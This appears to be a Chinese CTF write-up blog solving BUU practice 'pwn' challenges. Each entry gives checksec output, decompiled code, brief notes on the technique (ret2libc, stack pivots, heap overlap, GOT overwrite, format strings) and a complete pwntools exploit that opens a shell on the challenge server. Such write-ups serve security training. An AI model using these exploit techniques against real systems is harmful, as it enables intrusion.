0%

PWN做题记录

5f6029560fe90.jpg

做到哪里算那题,没有难度不一,没有先后顺序。题目都可以在BUU上找到。

jarvisoj_level0

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

vulnerable_function函数如下:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1

return read(0, &buf, 0x200uLL);
}

callsystem函数如下:

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

利用:

溢出覆盖返回地址到callsystem函数地址,getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /usr/bin/env python

from pwn import *

#sh=process('./level0')
sh=remote('node3.buuoj.cn',27943)
context.log_level='debug'

flag_addr=0x0400596
payload='a'*0x88+p64(flag_addr)
sh.recvuntil('Hello, World\n')
sh.sendline(payload)
sh.interactive()
~

jarvisoj_level2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main函数如下:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

vulnerable_function函数如下:

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1

system("echo Input:");
return read(0, &buf, 0x100u);
}

利用:

程序有system函数,但是参数不对,查找字符串找到/bin/sh,32位程序传入栈中getshell。这里payload写了俩种利用方式,大同小异。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python

from pwn import *

#sh=process('./level2')
sh=remote('node3.buuoj.cn',29538)
context.log_level='debug'
elf=ELF('./level2')
system_plt=elf.plt['system']
call_system=0x0804849E
bin_sh_addr=0x0804A024
#payload='a'*0x8c+p32(call_system)+p32(bin_sh_addr)
payload='a'*0x8c+p32(system_plt)+p32(1)+p32(bin_sh_addr)
sh.recvuntil('nput:\n')
sh.sendline(payload)
sh.interactive()

babyrop

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [sp+0h] [bp-10h]@1

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", &v4);
printf("Welcome to the Pwn World, %s!\n", &v4);
return 0;
}

利用:

利用scanf函数覆盖返回地址,64位程序注意传参顺序,rdi,rsi,rdx,rcx,r8,r9.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/env python

from pwn import *

#sh=process('./babyrop')
sh=remote('node3.buuoj.cn',26344)
#context.log_level='debug'


pop_ret=0x0000000000400683
bin_sh_addr=0x0000000000601048
call_system=0x00000000004005E3
sh.recvuntil("What's your name? ")
payload='a'*0x10+'a'*0x8+p64(pop_ret)+p64(bin_sh_addr)+p64(call_system)
sh.sendline(payload)

sh.interactive()

babystack

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-10h]@1
size_t nbytes; // [sp+Ch] [bp-4h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, &buf, (unsigned int)nbytes);
return 0;
}

backdoor函数如下:

1
2
3
4
5
signed __int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

利用:

没有检查name_length,所有直接构造长度,覆盖返回地址。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/env python

from pwn import *

#sh=process('./bjdctf_2020_babystack')
sh=remote('node3.buuoj.cn',28979)
context.log_level='debug'


backdoor=0x00000000004006E6
payload='a'*0x18+p64(backdoor)
sh.recvuntil('Please input the length of your name:\n')
sh.sendline(str(len(payload)))
#sh.recvuntil("What's u name?\n")
sh.send(payload)

sh.interactive()

babyheap_0ctf_2017

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

程序中edit函数存在漏洞,可以任意输入size,导致我们可以输入任意大小的数据。通过修改free chunk的size,然后申请回来,再次free到unsorted bin里 照成堆块的重叠,来泄露libc,然后修改fastbin中被free掉的chunk的fd指针指向malloc_hook,构造fake chunk。最后写入one_gadget来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#! /usr/bin/env python

from pwn import *

#sh=process('babyheap_0ctf_2017')
sh=remote('node3.buuoj.cn',27186)
elf=ELF('./babyheap_0ctf_2017')
libc=elf.libc
#context.log_level='debug'

def add(size):
sh.recvuntil('Command: ')
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))

def edit(index,size,content):
sh.recvuntil('Command: ')
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.send(content)

def show(index):
sh.recvuntil('Command: ')
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))

def free(index):
sh.recvuntil('Command: ')
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))


add(0x90) #0
add(0x90) #1
add(0x90) #2
add(0x90) #3
free(1)
edit(0,0xa0,'a'*0x90+p64(0)+p64(0x141))
add(0x130) #1
edit(1,0xa0,'a'*0x90+p64(0)+p64(0xa1))
free(2)
show(1)

main_arena= u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4526a
sh.success('one_gadget : ' +hex(one_gadget))

add(0x90) #2
add(0x10) #4
add(0x60) #5
add(0x10) #6
free(5)
malloc_hook=libc_base+libc.symbols['__malloc_hook']
fake_size=malloc_hook-0x23
sh.success('malloc_hook : ' +hex(malloc_hook))
edit(4,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(fake_size))
add(0x60) #5
add(0x60) #7
edit(7,0x1b,'a'*0x3+p64(one_gadget)*3)
add(0x10)

#gdb.attach(sh)

sh.interactive()

ciscn_2019_n_5

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

利用:

发现gets函数,首先泄露libc,然后利用one_gadget来getshell。 这里注意libc版本,远程是libc-2.27.so

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/env python

from pwn import *

#sh=process('./ciscn_2019_n_5')
sh=remote('node3.buuoj.cn',29449)
elf=ELF('./ciscn_2019_n_5')
libc=ELF('./libc-2.27.so')
context.log_level='debug'

main_addr=0x400636
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi_ret=0x0000000000400713


sh.recvuntil('tell me your name\n')
sh.sendline('L0ne1y')
sh.recvuntil('What do you want to say to me?\n')
payload='a'*0x28+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
sh.sendline(payload)

puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('puts_addr : ' +hex(puts_addr))

libc_base=puts_addr-libc.symbols['puts']
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4f2c5

sh.recvuntil('tell me your name\n')
sh.sendline('L0ne1y')
sh.recvuntil('What do you want to say to me?\n')
payload1='a'*0x28+p64(one_gadget)
sh.sendline(payload1)

sh.interactive()

level2_x64

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

没啥好说的,栈溢出

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/env python

from pwn import *

#sh=process('./level2_x64')
sh=remote('node3.buuoj.cn',27053)
#context.log_level='debug'


pop_ret=0x00000000004006b3
bin_sh_addr=0x0000000000600A90
call_system=0x0000000000400603
sh.recvuntil("Input:\n")
payload='a'*0x80+'a'*0x8+p64(pop_ret)+p64(bin_sh_addr)+p64(call_system)
sh.sendline(payload)

sh.interactive()

ciscn_2019_ne_5

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

main函数没办法F5,只能看会汇编了,system参数利用ROPgadget找到了,0x080482ea : sh,剩下的老套路。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/env python

from pwn import *

sh = process('./ciscn_2019_ne_5')

elf = ELF('./ciscn_2019_ne_5')
context.log_level = 'debug'

system_addr = 0x080484D0
sh_addr = 0x080482Ea
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

sh.sendlineafter('password:','administrator')
payload = 'a'*0x48 + 'a'*0x4 + p32(system_addr) + 'a'*4 + p32(sh_addr)
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil('info:')
sh.sendline(payload)
sh.recvuntil(':')
sh.sendline('4')

sh.interactive()

ciscn_s_3

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x4000000)

vuln函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00000000004004ED                 push    rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h
.text:00000000004004F9 lea rsi, [rsp+var_10]
.text:00000000004004FE mov rdi, rax
.text:0000000000400501 syscall
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h
.text:000000000040050F lea rsi, [rsp+var_10]
.text:0000000000400514 mov rdi, rax
.text:0000000000400517 syscall
.text:0000000000400519 retn

gadget片段

1
2
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9 retn

__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400580 loc_400580:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn

利用:

直接看汇编,syscall系统调用,先调用了read(0,rsp+var_10,0x400),接着调用write(1,rsp+var_10,0x30),这里的rsp+var_10在栈里填充0x10就可以覆盖到rbp,还有要注意的点是vuln函数只有push rbpmov rbp, rsp俩条指令,导致ret的时候pop rip,会将栈上rbp的内容pop到rip中。

首先根据程序泄露的栈上地址,计算出/bin/sh\x00的偏移,同时也可以计算出 mov rax, 3Bh地址。然后再次输入,通过__libc_csu_init来将execve(“/bin/sh”,0,0)写入。具体寄存器值,rax=59,rdi=/bin/sh\x00,rsi=0,rdx=0.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#! /usr/bin/env python

from pwn import *

sh=process('./ciscn_s_3')
context.log_level='debug'

gadget_one=0x000000000040059A
gadget_two=0x0000000000400580
syscall=0x0000000000400501
vlun_addr=0x00000000004004ED
mov_rax_ret=0x00000000004004E2
pop_rdi_ret=0x00000000004005a3

payload='/bin/sh\x00'+'a'*0x8+p64(vlun_addr)
sh.sendline(payload)

#gdb.attach(sh,"b *0x0000000000400503")

sh.recv(0x20)
stack_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('stack_addr : ' +hex(stack_addr))
bin_sh_addr=stack_addr-0x118
mov_rax=bin_sh_addr+0x10
sh.success('bin_sh_addr : ' +hex(bin_sh_addr))

gdb.attach(sh)

payload='/bin/sh\x00'+'a'*8+p64(mov_rax_ret)+p64(gadget_one)+p64(0)+p64(0x1)+p64(mov_rax)+p64(0)+p64(0)+p64(0)+p64(gadget_two)+'a'*56+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(syscall)
sh.sendline(payload)


sh.interactive()

babyrop2

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

泄露libc,然后就one_gadget,没啥好说的。这里要注意用printf泄露rdi=%srsi=泄露地址

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /usr/bin/env python

from pwn import *

#sh=process('./babyrop2')
sh=remote('node3.buuoj.cn',25016)
context.log_level='debug'
elf=ELF('./babyrop2')
libc=elf.libc

read_got=elf.got['read']
printf_plt=elf.plt['printf']
pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
format_addr=0x0000000000400790
main_addr=0x0000000000400636

sh.recvuntil("What's your name? ")

payload='a'*0x28+p64(pop_rdi_ret)+p64(format_addr)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
sh.sendline(payload)

read_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
sh.success('read_addr : ' +hex(read_addr))
libc_base=read_addr-libc.symbols['read']
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0xf02a4

sh.recvuntil("What's your name? ")

payload1='a'*0x28+p64(one_gadget)
sh.sendline(payload1)

sh.interactive()

pwn2_sctf_2016

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

整数溢出漏洞,导致栈溢出。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#! /usr/bin/env python

from pwn import *

#sh=process('./pwn2_sctf_2016')
sh=remote('node3.buuoj.cn',28201)
context.log_level='debug'
context.arch = 'i386'
elf=ELF('./pwn2_sctf_2016')
libc=ELF('./libc-2.23.so')

format_addr=0x080486F8
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main_addr=0x080485B8

sh.recvuntil('How many bytes do you want me to read? ')
sh.sendline('-1')
sh.recvuntil('Ok, sounds good. Give me 4294967295 bytes of data!\n')

payload='a'*0x2c+'a'*0x4+p32(printf_plt)+p32(main_addr)+p32(format_addr)+p32(printf_got)

sh.sendline(payload)
printf_addr = u32(sh.recvuntil('\xf7')[-4:])
sh.success('printf_addr : ' +hex(printf_addr))
libc_base=printf_addr-libc.symbols['printf']
sh.success('libc_base : ' +hex(libc_base))
#system_addr=libc_base+0x03adb0
#bin_sh_addr=libc_base+0x15bb0b
one_gadget=libc_base+0x5f066
sh.recvuntil('How many bytes do you want me to read? ')
sh.sendline('-1')

sh.recvuntil('Ok, sounds good. Give me 4294967295 bytes of data!\n')
payload='a'*0x2c+'a'*0x4+p32(one_gadget)

sh.sendline(payload)

#gdb.attach(sh)

sh.interactive()

2018_rop

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

栈溢出,泄露libc,很简单 不说了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./2018_rop')
sh=remote('node3.buuoj.cn',25922)
elf=ELF('./2018_rop')
libc=ELF('./libc32')
context.log_level='debug'
context.arch = 'i386'
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484C6

payload='a'*0x88+'a'*0x4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
sh.sendline(payload)
write_addr=u32(sh.recv(4))
sh.success('write_addr : ' +hex(write_addr))
obj = LibcSearcher('write',write_addr)
libc_base = write_addr - obj.dump('write')
system = libc_base + obj.dump('system')
binsh = libc_base + obj.dump("str_bin_sh")

payload = 'a' * (0x88 + 4)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

sh.success('libc_base : ' +hex(libc_base))

sh.sendline(payload)

sh.interactive()

bjdctf_2020_babyrop

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

没啥好说的。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./bjdctf_2020_babyrop')
sh=remote('node3.buuoj.cn',29609)
elf=ELF('./bjdctf_2020_babyrop')
context.log_level='debug'

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x00000000004006AD
pop_ret=0x0000000000400733
sh.recvuntil('Pull up your sword and tell me u story!\n')

payload='a'*0x20+'a'*0x8+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
sh.sendline(payload)
#gdb.attach(sh)
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('puts_addr : ' +hex(puts_addr))
obj = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - obj.dump('puts')
system = libc_base + obj.dump('system')
binsh = libc_base + obj.dump("str_bin_sh")

payload = 'a' *0x20+'a'*0x8
payload += p64(pop_ret)
payload += p64(binsh)
payload += p64(system)

sh.success('libc_base : ' +hex(libc_base))

sh.sendline(payload)

sh.interactive()

ez_pz_hackover_2016

checksec 检查:

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

利用:

需要注意的是lea eax, [ebp+dest]这里,用IDA点开发现在栈上的0x32处,这里IDA有错误。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#! /usr/bin/env python
from LibcSearcher import *
from pwn import *

#sh=process('./pz_hackover_2016')
sh=remote('node3.buuoj.cn',28754)

context.log_level='debug'
elf=ELF('./pz_hackover_2016')
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
main_addr=0x080486E2

sh.recvuntil('> ')
payload=payload = 'crashme'.ljust(26, '\x00') + p32(printf_plt) + p32(main_addr) + p32(0x8048845) + p32(printf_got)
sh.sendline(payload)

sh.recvuntil('Welcome')
sh.recvuntil('Welcome ')
printf_addr = u32(sh.recv(4))

libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
bin_sh_str = libc_base + libc.dump('str_bin_sh')
payload1 = 'crashme'.ljust(26,'\x00') + p32(system_addr) + p32(0) + p32(bin_sh_str)
sh.sendline(payload1)

sh.interactive()

others_shellcode

1
连上就有flag

ciscn_2019_es_2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

只能够溢出到返回地址,想到栈迁移,俩次输入,第一次可以输入到ebp之前,printf遇到’\x00’才会终止输出,这也会打印ebp的栈的地址。第二次输入进行栈迁移。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
from pwn import *

sh=remote("node3.buuoj.cn",27732)
#sh=process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')

sys=0x8048400
leave_ret=0x08048562

sh.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
sh.send(payload)
sh.recvuntil("b"*8)
ebp=u32(sh.recv(4))
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
#gdb.attach(sh)
sh.send(payload2)
sh.interactive()

Black_Watch

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

栈迁移

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level="debug"
#sh = process("./spwn")
sh=remote("node3.buuoj.cn",29363)

elf = ELF("./spwn")

bss_s_addr = 0x0804A300
leave_ret_addr = 0x08048408
write_got = elf.got["write"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]

payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload2 = "a"*0x18 + p32(bss_s_addr-4) + p32(leave_ret_addr)

sh.recvuntil("What is your name?")
sh.send(payload1)
sh.recvuntil("What do you want to say?")
sh.send(payload2)

write_addr = u32(sh.recv(4))
log.success("write_addr =>{}".format(hex(write_addr)))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump("write")
sys_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload3 = p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr)
sh.recvuntil("What is your name?")
sh.send(payload3)
sh.recvuntil("What do you want to say?")
sh.send(payload2)
sh.interactive()

jarvisoj_level3

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

没啥好讲的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./level3')
sh=remote('node3.buuoj.cn',28946)
elf=ELF('./level3')
context.log_level='debug'

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

payload='a'*0x88+'a'*4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
sh.sendline(payload)
sh.recvuntil('Input:\n')
write_addr=u32(sh.recv(4))
sh.success('write_addr : ' +hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload='a'*0x88+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
sh.sendline(payload)

sh.interactive()

jarvisoj_fm

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

格式化字符串,将x修改为4就好了,这里偏移是11

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python

from pwn import *

sh=process('./fm')
sh=remote('node3.buuoj.cn',27282)

elf = ELF('./fm')
x_addr = 0x0804A02C

payload = p32(x_addr) + '%11$n'
sh.sendline(payload)
sh.interactive()

jarvisoj_tell_me_something

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

没啥说的,简单题。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#! /usr/bin/env python

from pwn import *

#sh=process('./guestbook')
sh=remote('node3.buuoj.cn',27059)

elf=ELF('./guestbook')
context.log_level='debug'

good_game=0x0000000000400620

sh.recvuntil('Input your message:\n')
payload='a'*0x88+p64(good_game)

sh.sendline(payload)

sh.interactive()

jarvisoj_level4

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

延迟绑定了解一下。qaq

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./level4')
sh=remote('node3.buuoj.cn',27391)
elf=ELF('./level4')
context.log_level='debug'

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

payload1='a'*0x88+'a'*4+p32(main_addr)

payload='a'*0x88+'a'*4+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
sh.sendline(payload1)
sh.sendline(payload)
#gdb.attach(sh)
write_addr=u32(sh.recv(4))
sh.success('write_addr : ' +hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload2='a'*0x88+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
sh.sendline(payload2)

sh.interactive()

bjdctf_2020_babystack2

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

整数溢出造成栈溢出

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/env python

from pwn import *

#sh=process('./bjdctf_2020_babystack2')
sh=remote('node3.buuoj.cn',29759)


elf=ELF('./bjdctf_2020_babystack2')

backdoor=0x0000000000400726

payload='a'*0x10+'a'*8+p64(backdoor)

sh.recvuntil('Please input the length of your name:\n')
sh.sendline('-1')
sh.recvuntil("What's u name?")
sh.sendline(payload)

sh.interactive()

babyfengshui_33c3_2016

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

1
2
3
4
5
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}

出问题是判断语句,判断内容是description的地址加上要修改(输入)的长度不能覆盖到存放name那个堆块处。

我们可以通过连续申请俩次,再free第一次申请的chunk,再次申请0x80大小的chunk,这也就导致我们距离存放name的chunk有了一个user(description[1]+name[1])的距离.我们就可以通过覆盖name[1]中的description ptr 为free_got来泄露free的libc,然后再将free_got的内容修改为system,我们在free的时候相当于调用system函数。

这里要注意本地偏移和远程不一样。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./babyfengshui_33c3_2016')
sh=remote('node3.buuoj.cn',25114)
elf=ELF('./babyfengshui_33c3_2016')
#context.log_level='debug'

def add(des_size,name,text_size,content):
sh.recvuntil('Action: ')
sh.sendline('0')
sh.recvuntil('size of description: ')
sh.sendline(str(des_size))
sh.recvuntil('name: ')
sh.sendline(name)
sh.recvuntil('text length: ')
sh.sendline(str(text_size))
sh.recvuntil('text: ')
sh.sendline(content)

def free(index):
sh.recvuntil('Action: ')
sh.sendline('1')
sh.recvuntil('index: ')
sh.sendline(str(index))

def show(index):
sh.recvuntil('Action: ')
sh.sendline('2')
sh.recvuntil('index: ')
sh.sendline(str(index))

def edit(index,text_size,content):
sh.recvuntil('Action: ')
sh.sendline('3')
sh.recvuntil('index: ')
sh.sendline(str(index))
sh.recvuntil('text length: ')
sh.sendline(str(text_size))
sh.recvuntil('text: ')
sh.sendline(content)

free_got=elf.got['free']


add(0x20,'L0ne1y',0x20,'A'*0x20) #0
add(0x20,'L0ne1y',0x20,'A'*0x20) #1
free(0)
add(0x80,'L0ne1y',0x80,'B'*0x80) #2
edit(2,0x114,'B'*0x80+p32(0)+p32(0x29)+'B'*0x20+p32(0)+p32(0x89)+p32(free_got))
show(1)

sh.recvuntil('description: ')
free_addr=u32(sh.recv(4))
sh.success('free_addr : ' +hex(free_addr))
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
sh.success('system_addr : ' +hex(system_addr))

add(0x20,'/bin/sh\x00',0x20,'/bin/sh\x00') #3
edit(1,0x4,p32(system_addr))
free(3)

#gdb.attach(sh)



sh.interactive()

